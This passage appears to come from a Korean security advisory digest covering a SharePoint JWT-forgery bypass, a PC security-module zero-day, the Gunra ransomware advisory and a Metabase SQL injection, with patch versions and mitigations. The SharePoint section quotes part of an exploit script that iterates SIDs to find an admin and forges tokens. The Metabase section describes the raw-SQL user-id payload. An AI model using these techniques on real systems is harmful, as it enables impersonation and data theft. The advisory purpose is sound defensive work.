0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}
- x5t를 계산(예시의 x5t 값 : i_gz5qfYp5YPWAK1__0YhZnipLI)하고, 임의의 비어 있지 않은 서명을 포함한 조작된 JWT 토큰 구성 및 base64로 인코딩하여 Bearer 토큰 생성 > 공격자는 외부 토큰에 alg:none을 지정하고, 내부 Actor Token에는 STS 인증서의 x5t와 검증되지 않는 임의의 서명을 지정
- /_api/web/currentuser와 같은 인증된 엔드포인트에 요청을 보내 SharePoint 사용자로 인증되었음을 증명 > 본 예시는 SID RID 500을 사용한 관리자 계정 가장 사례이며, 취약점을 악용해 특정 관리자 계정에 한정되지 않고 공격자가 식별할 수 있는 SharePoint 사용자를 대상으로 악용 가능
- 위조한 JWT를 이용해 대상 환경의 사용자를 확인하고, 셰어포인트 사이트 관리자 계정을 찾아내는 과정까지 자동화 [10]
# Step 1: Auto-discovery phase
print("\n[1] Auto-discovery...")
if not use_http:
# Discover x5t, realm from STS metadata (HTTPS)
if not all([args.x5t, args.realm]):
print("[+] Discovering x5t and realm from STS metadata...")
sts = discover_sts_metadata(target, port)
if sts:
if not args.x5t and sts.get("x5t"):
args.x5t = sts["x5t"]
print(f" [*] x5t: {args.x5t}")
if not args.realm and sts.get("realm"):
args.realm = sts["realm"]
print(f" [*] realm: {args.realm}")
# Auto-SID RID iteration: find a site admin by trying RIDs
if use_sid and not args.sid and has_domain_sid:
domain_sid = args._domain_sid
# Build RID list: 500 first (domain admin), then 1000+ (domain users)
rids_to_try = [500]
rids_to_try.extend(range(1000, args.max_rid + 1))
for rid in rids_to_try:
sid = f"{domain_sid}-{rid}"
user_info = check_sid_for_admin(
args.host, args.realm, args.x5t, sid, scheme, port
)
if user_info:
is_admin = user_info['is_site_admin']
if is_admin and not site_admin:
site_admin = user_info
break
if site_admin:
args.sid = site_admin['sid']
# Determine identity mode (UPN vs SID vs default local service)
if use_upn:
nameid = "upn_bypass"
nii = "urn:office:idp:activedirectory"
extra_claims = {"upn": args.upn}
elif use_sid or args.sid:
nameid = args.sid
nii = "urn:office:idp:activedirectory"
extra_claims = None
else:
nameid = "0#.w|nt authority\\local service"
nii = "AccessToken"
extra_claims = {"upn": "x@localhost"}
# Step 2: Forge JWT
print("\n[2] Forging JWT token...")
token = forge_jwt(args.host, args.realm, args.x5t, nameid, nii, extra_claims)
# Step 3: Get digest
print("\n[3] Obtaining form digest...")
digest = get_digest(base_url, token, args.host)
3. 대응방안
- 벤더사 제공 업데이트 적용 [11][12]
취약점
제품명
영향받는 버전
해결 버전
CVE-2026-55040
SharePoint Enterprise Server 2016
16.0.5561.1001 미만
16.0.5561.1001
SharePoint Server 2019
16.0.10417.20175 미만
16.0.10417.20175
SharePoint Server Subscription Edition
16.0.19725.20434 미만
16.0.19725.20434
- 즉각적인 업데이트가 어려울 경우 권고 사항 > 인터넷에서 SharePoint에 직접 접근할 필요가 없다면 외부 접근 차단 > VPN 또는 Zero Trust Access 등을 통해 허용된 사용자만 SharePoint에 접근하도록 제한 > SharePoint/IIS 로그에서 비정상적인 인증 요청과 예상하지 못한 사용자 활동 확인 > SharePoint 서비스 계정 및 관리자 계정의 권한 최소화
- 국내 공공기관과 금융기관 등의 웹서비스에서 다수 사용되는 PC 보안·인증 모듈에서 원격코드 실행이 가능한 신규 0-Day 취약점 발견 - 악용에 성공할 경우 Watering Hole 공격으로 이어질 수 있으며, 보안상 이유로 해당 솔루션의 개발사와 제품명, 구체적인 취약점 발생 조건 및 공격 방법은 공개되지 않
내용
- 국내 공공기관과 금융기관 등의 웹서비스에서 다수 사용되는 PC 보안·인증 모듈에서 원격코드 실행이 가능한 신규 제로데이(0-Day) 취약점이 발견 > 해당 PC 보안모듈의 최신 버전을 분석하는 과정에서 알려지지 않은 원격코드 실행 취약점을 발견 > 보안상 이유로 해당 솔루션의 개발사와 제품명, 구체적인 취약점 발생 조건 및 공격 방법 비공개 > 공격자가 이를 악용할 경우 Watering Hole 공격으로 이어질 수 있어 사용 기관들은 각별한 주의가 요구
※ Watering Hole : 웹 사이트의 취약점을 찾아 악성코드를 심어두고, 사용자가 해당 웹 사이트를 방문할 경우 악성코드에 감염되며, 악성 링크 또는 의심스러운 첨부 파일 등을 실행하지 않고도 감염
- 해당 솔루션은 인증서 로그인과 전자서명을 지원하고, 서버와 웹브라우저 사이에서 전달되는 데이터를 암·복호화하는 웹 구간 보안 솔루션 > 사용자 신원 확인과 전자서명뿐 아니라 주요 데이터가 서버와 브라우저 사이에서 전달되는 과정에서 암호화 기능을 제공 > 이 같은 형태의 보안모듈은 주로 공공기관의 민원·행정 서비스, 금융기관의 인터넷 서비스, 대학·교육기관 등 인증서 기반의 본인확인이나 전자서명이 필요한 웹사이트에서 사용 > 특히 이용자가 해당 웹서비스를 사용하기 위해 자신의 PC에 직접 설치하는 클라이언트 프로그램이라는 점에서 취약점이 발생할 경우 영향 범위가 커질 가능성 > 공격자가 특정 서버 한 곳을 직접 공격하는 것과 달리, 웹사이트를 매개로 다수 이용자 PC를 공격 대상으로 삼을 수 있기 때문
- 해당 제품군이 과거에도 취약점을 악용한 실제 공격에 노출된 이력이 있음 > 해당 보안모듈에서는 이전에도 별도의 취약점이 발견됐으며, 최근까지 북한을 포함한 국가배후 해킹조직의 워터링홀 공격 과정에서 악용된 사례가 있음 > 당시 공격에 사용됐던 취약점은 패치가 적용되었으나, 당시 취약점과는 다른 공격 경로를 가진 별도의 취약점이 확인
- 개발사 측은 해당 문제가 이미 패치된 취약점이라는 취지로 설명 > 하지만 연구진은 이번에 발견된 취약점은 서로 다른 문제이며, 최신 버전에서도 원격코드 실행이 가능하다는 입장
- 취약점 발견 이후 연구진은 실제 공격 가능성을 분석해 해당 취약점을 이용한 공격을 탐지 및 차단할 수 있는 대응 방안을 마련 > 8월 10일까지 관련 대응 방안을 자사 솔루션을 이용하는 고객사에 배포 > 실제 공격에 악용되는 것을 막기 위해 구체적인 취약점 발생 조건과 공격코드 등 기술 정보는 공개하지 않음
- 특히 클라이언트 보안모듈은 한 번 설치된 이후 이용자가 프로그램의 존재나 버전을 인식하지 못한 채 장기간 사용하는 경우가 있어 취약점 관리가 중요 - 기업과 기관 역시 해당 유형의 보안모듈을 사용하는 PC 현황을 파악하고 비정상적인 자식 프로세스 실행이나 외부 통신 등 원격코드 실행 공격과 연관될 수 있는 행위를 모니터링할 필요 - 개발사의 정식 보안 업데이트가 배포될 경우 신속한 패치 적용 요구
- 한-미 수사기관 6개 기관은 최근 공격이 확산되고 있는 Gunra 랜섬웨어에 대해 공동 경보 발령 - 인터넷에 노출된 방화벽과 VPN 장비를 통해 침투한 뒤 NTDS 탈취, MFA 우회, SMB·RDP 횡적 이동
내용
- 한국 경찰청과 미국 FBI, CISA, NSA, DC3, USSS은 최근 공격이 확산되고 있는 Gunra 랜섬웨어에 대해 공동 경보 발령 > 8월 10일 공동 사이버보안 권고문 ‘#StopRansomware: Gunra Ransomware(AA26-222A)’ 공개 > Gunra가 정부기관과 핵심 인프라, 금융·의료·제조·운송·유통 등 다양한 조직 공격 경고 > Gunra는 데이터를 빼낸 뒤 시스템을 암호화하고, 돈을 내지 않으면 탈취 정보를 공개하는 이중 갈취 방식 사용
- FBI는 Gunra 활동을 25.04부터 관찰 > 초기에는 2022년 유출된 Conti 랜섬웨어 소스코드의 영향을 받은 형태였지만, 올해 1월부터 다크웹에서 본격적인 RaaS 사업으로 확대 > 운영진은 ‘Golden Community’라는 이름을 사용하며 침투테스터와 이른바 윤리적 해커까지 모집해 기업망 접근 권한을 확보하려 한 것으로 조사
- 공격자는 인터넷에 노출된 방화벽과 VPN 장비를 주요 진입점으로 이용 > FBI는 FortiOS·FortiProxy의 인증 우회 취약점 CVE-2024-55591과 CVE-2025-24472 악용 확인 > 경찰청 조사에서는 VPN 게이트웨이의 계정정보 노출 및 SSH 접근통제 취약점과 기본 비밀번호 악용
⒜ CVE-2024-55591 - 설명 : Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 9.8) - 영향받는 버전 > FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하 > FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하 - 해결 버전 > FortiOS 7.0 : 7.0.17 이상 > FortiProxy : 7.2.13 이상 / 7.0.20 이상
⒝ CVE-2025-24472 - 설명 : Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 8.1) - 영향받는 버전 > FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하 > FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하 - 해결 버전 > FortiOS 7.0 : 7.0.17 이상 > FortiProxy : 7.2.13 이상 / 7.0.20 이상
- 내부망 침투 후 공격은 더 위험 > 훔친 세션 정보를 이용해 VDI 환경으로 진입하고 RDP를 통해 인증 서버와 액티브 디렉터리(AD), IT 관리자 가상 데스크톱까지 이동 > Impacket의 secretsdump.py를 이용해 도메인 컨트롤러의 NTDS에서 계정 비밀번호 해시를 빼낸 뒤 Pass-the-Hash와 Pass-the-Ticket 공격으로 권한 확대 > SMB 횡적 이동에는 psexec.py, smbclient.py 등이 사용
⒜ secretsdump.py : 윈도우 시스템에서 비밀 정보와 패스워드 해시를 추출하는 도구 ⒝ psexec.py : SMB와 RPC 프로토콜을 통해 원격 윈도우 시스템에 접속해 대화형 셸이나 명령을 실행 가능 ⒞ smbclient.py : 대화형 SMB 클라이언트 도구로 원격 서버의 공유 폴더에 접속해 파일 목록 조회, 업로드, 다운로드, 이름 변경 등을 수행 가능
- 더 주목할 부분은 MFA 우회 방식 > 공격자는 VDI 인증 포털의 인증 처리 파일을 변조해 자신들이 지정한 특정 일회용 비밀번호를 입력하면 인증이 성공하도록 만든 사례도 확인 > 단순한 계정 탈취를 넘어 인증 시스템 자체에 지속적인 우회 통로를 만든 것
- FBI 조사 > 업무 문서와 데이터베이스, 개인정보, 내부 이메일 등을 수집하고 전용 악성코드 main.exe를 이용해 마이크로소프트 원드라이브와 쉐어포인트 데이터까지 탈취한 사실 확인 > 데이터를 압축한 뒤 Mega나 FTP를 통해 외부로 전송했으며, 한 피해 조직에서는 탈취량이 수십 테라바이트 > 윈도우와 리눅스 시스템을 대상으로 ChaCha20과 RSA-4096을 결합한 방식으로 파일 암호화 > 윈도우에서는 .ENCRT 또는 .CRYPT, 리눅스 변종에서는 .GNRA 확장자 확인 > 복구를 막기 위해 WMI를 통해 볼륨 섀도 복사본을 삭제하며, 실제 사고에서는 주 데이터센터뿐 아니라 재해복구센터(DR)의 백업·보관 데이터까지 삭제한 사례 확인
- 이번 권고에서 중요한 부분은 랜섬웨어 실행 파일 자체만 탐지해서는 대응이 늦을 수 있다는 점 > 공격 과정 : VPN 장악→계정·세션 탈취→AD 접근→SMB·RDP 횡적 이동→클라우드 데이터 유출→백업 제거 과정
> 따라서 기업은 인터넷에 노출된 VPN과 방화벽 취약점을 우선 패치하고, 관리자·AD 계정에 새로 생성됐거나 사용 이력이 불분명한 계정이 없는지 점검
> 특히 NTDS 접근, 비정상적인 Impacket 실행, 관리자 계정의 심야 접속, WMI를 이용한 섀도 복사본 삭제, 대량 파일 압축 후 외부 전송, OneDrive·SharePoint 비정상 접근은 높은 우선순위로 탐지할 필요
> CISA는 네트워크 분리와 최소권한 적용, MFA, 물리적으로 분리된 오프라인·불변 백업 구축 권고
- 한편 리눅스용 Gunra 일부 변종에서는 암호화 키 생성 방식의 취약점이 발견 > CISA는 .GNRA 피해가 발생한 경우 암호화 파일과 타임스탬프, 랜섬노트, 시스템 로그를 삭제하지 말고 보존하도록 권고 > 파일 시간 정보를 이용해 암호화 키를 복원할 가능성이 있기 때문
- 다양한 데이터 소스로부터 데이터 가공 및 시각화 기능을 제공하는 오픈 소스 BI(Business Intelligence) 솔루션 [1]
※ Business Intelligence : 조직의 데이터를 수집, 저장 및 분석하여 사실에 기반한 의사결정을 내리도록 돕는 기술, 도구, 프로세스의 집합
2. 취약점
[사진 1] CVE-2026-72898 [2]
- 비밀번호 재설정 엔드포인트 /api/session/reset_password에서 요청에 포함된 user-id 값이 제거되지 않고 내부 로직으로 전달되고 데이터 타입 검증 없이 DB 쿼리에 사용되어 인증 없이 관리자 권한을 확보할 수 있는 SQL 인젝션 취약점 (CVSS: 10.0)
> 공격자는 관리자 권한을 확보한 뒤 시스템 설정 변경 또는 인증정보 탈취, 데이터 조회 및 반출 가능
영향받는 버전 Metabase - 58.x : 58.0 ≤ 버전 < 58.23 - 59.x : 59.0 ≤ 버전 < 59.20 - 60.x : 60.0 ≤ 버전 < 60.16 - 61.x : 61.0 ≤ 버전 < 61.10 - 62.x : 62.0 ≤ 버전 < 62.8 - 63.x : 63.0 ≤ 버전 < 63.3
2.1 상세 분석
- 취약 버전에서는 먼저 merge()를 통해 요청 데이터와 인증 결과 맵을 병합하며, 두 번째 맵의 값이 첫 번째 맵의 값을 덮어씀 > 이때, 두 번째 맵에 동일한 키가 존재하면 두 번째 맵의 값이 사용되며, 첫 번째 맵에만 존재하는 키는 그대로 결과에 유지됨 > 인증에 실패할 경우 authentication result에 user-id가 포함되지 않으므로 요청 데이터에 포함된 user-id가 병합 과정에서 그대로 남아있게 됨
- Clojure에는 SQL 쿼리를 문자열 조합 대신 Clojure 데이터 구조로 작성하고 조작할 수 있게 해주는 라이브러리 HoneySQL가 존재 [4] > HoneySQL의 :raw 표현은 해당 값을 SQL fragment로 취급하여 일반적인 파라미터 바인딩을 거치지 않고 SQL 표현식에 포함시킬 수 있음 > 공격자가 전달한 {:raw "SQL"} 형태의 user-id가 t2/select-one의 :id 값으로 전달되고 해석되면서 공격자가 제어한 SQL이 파라미터화되지 않은 형태로 쿼리에 포함되어 SQL Injection이 발생
- 벤더사 제공 보안 업데이트 적용 [5][6][7] > 취약 버전과 패치 버전을 비교해보면, 취약 버전에서는 user-id에 대한 검증 없이 사용하였으나, 패치 버전에서는 pos-int 검증을 추가해 user-id 값이 양의 정수인지 검증하는 과정이 추가 [3] > 따라서, {:raw "..."}와 같은 공격자 제어 map은 pos-int? 검사를 통과하지 못하고 t2/select-one에 전달되지 않음
(when-let [user-id (:user-id $)]
- (t2/select-one [:model/User ...] :id user-id))
+ (if (pos-int? user-id)
+ (t2/select-one [:model/User ...] :id user-id)
+ (log/warnf "Provider %s returned a non-positive-int :user-id (type %s); refusing to resolve a user."
+ provider (type user-id))))
취약점
제품명
영향받는 버전
해결 버전
CVE-2026-72898
Metabase
58.0 ≤ 버전 < 58.23
x.58.24
59.0 ≤ 버전 < 59.20
x.59.21
60.0 ≤ 버전 < 60.16
x.60.17
61.0 ≤ 버전 < 61.10
x.61.11
62.0 ≤ 버전 < 62.8
x.62.9
63.0 ≤ 버전 < 63.3
x.63.5
- 즉시 업그레이드가 불가할 경우 /api/session/reset_password 엔드포인트 차단
- 업그레이드 이후 권고 사항 ① Metabase 애플리케이션 데이터베이스에서 core_session 테이블의 모든 행(row)을 삭제해 모든 활성 사용자 세션을 즉시 만료 ② API 키 목록을 검토 및 인지하지 못한 키 삭제 ③ 관리자 계정의 의심스러운 변경 사항 확인 ④ 연결된 모든 데이터베이스의 자격 증명 교체 ⑤ 데이터 웨어하우스 로그를 검토하여 무단 접근 흔적 확인 ⑥ Metabase 활동 내역 및 쿼리 이력을 검토하여 예상치 못한 작업 또는 무단 작업 확인
- 로그 점검 > POST /api/session/reset_password 요청에서 HTTP 400 오류가 발생한 뒤, > GET /api/user/current 요청이 HTTP 200으로 성공한 기록이 있다면 침해 가능성 존재